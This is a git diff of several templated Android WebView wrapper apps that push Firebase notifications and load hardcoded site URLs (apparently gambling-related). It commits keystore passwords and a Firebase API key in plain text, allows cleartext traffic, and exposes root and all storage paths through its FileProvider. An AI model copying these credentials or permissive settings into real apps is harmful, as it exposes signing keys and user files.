Binary file not shown.

32
WEBO98/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 171 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
WEBO98/telur33.jks Normal file

Binary file not shown.

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'XMETH98')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "273"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -24,7 +24,6 @@ android {
//app 名字
resValue('string', 'app_name', 'AA7AU')
//预埋订阅网址
buildConfigField "String", "BASE_URL", "\"https://aa7au.co/\""
//后台唯一ID
buildConfigField "int", "USERID", "257"
//状态栏文字颜色是否为白色

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'AFB77AU')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "143"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'AIPOKIES')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "286"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

2
amazy/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
amazy/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "Amazy Taiwan"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.company.amazy"
//app大背景色
resValue('color', 'windows_color', '#000000')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#FFFFFF')
//app 名字
resValue('string', 'app_name', 'Amazy Taiwan')
buildConfigField "int", "USERID", "311"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "false"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "905601979176",
"project_id": "amazy-e3d7c",
"storage_bucket": "amazy-e3d7c.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:905601979176:android:f96e644d9e158dcd48f61d",
"android_client_info": {
"package_name": "com.company.amazy"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyAsN-ObGVj3vhyNNgiVJKQF_S81puA4ij0"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
amazy/justlet.jks Normal file

Binary file not shown.

32
amazy/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
